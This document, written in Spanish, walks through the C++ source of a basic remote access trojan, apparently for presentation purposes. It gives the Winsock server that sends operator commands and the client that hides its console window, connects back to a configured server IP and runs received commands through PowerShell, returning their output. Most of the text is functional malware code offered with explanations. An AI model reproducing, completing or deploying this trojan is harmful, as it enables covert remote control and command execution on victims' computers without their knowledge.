Explicación del código RAT (Servidor y Cliente)

El código se divide en dos partes:

1. **Servidor (`ratX-server.cpp`)** → Espera conexiones y envía comandos.
2. **Cliente (`ratX-client.cpp`)** → Se conecta al servidor, ejecuta comandos y envía la respuesta.

Voy a desglosarlo en secciones para que lo puedas presentar de manera clara.

📌 1. Explicación del Servidor (`ratX-server.cpp`)

Inicialización de Winsock

```
cpp
CopyEdit
void initWinsock() {
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        std::cerr << "Error al inicializar Winsock" << std::endl;
        exit(1);
    }
}
```

🔹 ¿Qué hace?

- Inicia la biblioteca Winsock, necesaria para usar sockets en Windows.
- `MAKEWORD(2,2)` especifica que se usará la versión 2.2 de Winsock.
- Si falla, se muestra un mensaje de error y el programa termina.

Creación del Socket del Servidor

```
cpp
CopyEdit
serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if (serverSocket == INVALID_SOCKET) {
    std::cerr << "Error al crear el socket" << std::endl;
    return 1;
}
```

🔹 ¿Qué hace?

- Crea un socket TCP (`SOCK_STREAM`).
- Si la creación falla, se muestra un error y el programa finaliza.

Configuración y Vinculación del Socket

```
cpp
CopyEdit
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);

if (bind(serverSocket, (struct sockaddr*)&server, sizeof(server)) ==
SOCKET_ERROR) {
    std::cerr << "Error al enlazar el socket" << std::endl;
    return 1;
}
```

🔹 ¿Qué hace?

- Define la estructura `sockaddr_in` con:
  - `AF_INET`: IPv4
  - `INADDR_ANY`: Acepta conexiones en cualquier IP del servidor.
  - `htons(PORT)`: Convierte el puerto a formato de red.
- `bind()` asocia el socket con la IP y el puerto.

Modo de Escucha y Aceptación de Clientes

```
cpp
CopyEdit
listen(serverSocket, 3);
std::cout << "[+] Esperando conexiones en el puerto " << PORT << "..." <<
std::endl;

clientSocket = accept(serverSocket, (struct sockaddr*)&client, &clientSize);
if (clientSocket == INVALID_SOCKET) {
    std::cerr << "Error al aceptar conexión" << std::endl;
    return 1;
}
std::cout << "[+] Cliente conectado!" << std::endl;
```

🔹 ¿Qué hace?

- `listen(serverSocket, 3)`: Pone el servidor en modo escucha con una cola de hasta 3 conexiones.
- `accept()`: Espera a que un cliente se conecte y devuelve un nuevo socket para la comunicación.

Intercambio de Comandos y Respuestas

```
cpp
CopyEdit
while (true) {
    std::cout << "\n> ";
    std::string command;
    std::getline(std::cin, command);
    if (command.empty()) continue;

    send(clientSocket, command.c_str(), command.length(), 0);

    std::string fullResponse;
    while (true) {
        int bytesReceived = recv(clientSocket, buffer, sizeof(buffer) - 1, 0);
        if (bytesReceived <= 0) break;
        buffer[bytesReceived] = '\0';
        fullResponse += buffer;

        if (fullResponse.find("[END]") != std::string::npos) {
            fullResponse = fullResponse.substr(0, fullResponse.find("[END]"));
            break;
        }
    }
    std::cout << "Respuesta:\n" << fullResponse << std::endl;
}
```

🔹 ¿Qué hace?

- Lee un comando desde la consola y lo envía al cliente.
- Recibe la respuesta en fragmentos y la muestra.
- Usa `[END]` como delimitador para detectar el final del mensaje.

Cierre de Conexiones

```
cpp
CopyEdit
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
```

🔹 ¿Qué hace?

- Cierra los sockets.
- Libera los recursos de Winsock con `WSACleanup()`.

📌 2. Explicación del Cliente (`ratX-client.cpp`)

Opción para Ocultar la Consola

```
cpp
CopyEdit
if (!DisableHiddedConsole) {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
}
```

🔹 ¿Qué hace?

- Si `DisableHiddedConsole` es `false`, oculta la consola usando `ShowWindow(hwnd, SW_HIDE)`.

Inicialización de Winsock y Conexión al Servidor

```
cpp
CopyEdit
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);

SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(SERVER_IP);
server.sin_port = htons(PORT);

if (connect(clientSocket, (struct sockaddr*)&server, sizeof(server)) < 0) {
    return 1;
}
```

🔹 ¿Qué hace?

- Inicia Winsock.
- Crea un socket TCP.
- Define la estructura del servidor (`SERVER_IP` y `PORT`).
- Se conecta al servidor con `connect()`.

Recepción de Comandos y Ejecución

```
cpp
CopyEdit
while (true) {
    int bytesReceived = recv(clientSocket, buffer, sizeof(buffer) - 1, 0);
    if (bytesReceived <= 0) break;
    buffer[bytesReceived] = '\0';
    std::string command(buffer);

    std::string output = executeCommand(command);
    output += "\n[END]";
    send(clientSocket, output.c_str(), output.length(), 0);
}
```

🔹 ¿Qué hace?

- Espera a recibir un comando del servidor.
- Lo ejecuta con `executeCommand()`.
- Devuelve la salida al servidor, añadiendo `[END]` como delimitador.

Ejecución de Comandos en PowerShell

```
cpp
CopyEdit
std::string executeCommand(const std::string& command) {
    std::string fullCommand = "powershell -Command \"" + command + "\"";
    char buffer[BUFFER_SIZE];
    std::string result;
    FILE* pipe = _popen(fullCommand.c_str(), "r");
    if (!pipe) return "Error al ejecutar el comando";
    while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
        result += buffer;
    }
    _pclose(pipe);
    return result;
}
```

🔹 ¿Qué hace?

- Recibe un comando como string.
- Lo ejecuta en PowerShell con `_popen()`.
- Captura la salida y la devuelve como string.

Cierre de Conexión

```
cpp
CopyEdit
closesocket(clientSocket);
WSACleanup();
```

🔹 ¿Qué hace?

- Cierra el socket.
- Libera los recursos de Winsock.

Conclusión

Este código implementa una RAT básica en C++ con:

- Comunicación basada en sockets (Winsock2).
- Ejecución remota de comandos usando PowerShell.
- Control de flujo con delimitadores (`[END]`).
- Opción para ocultar la consola en el cliente.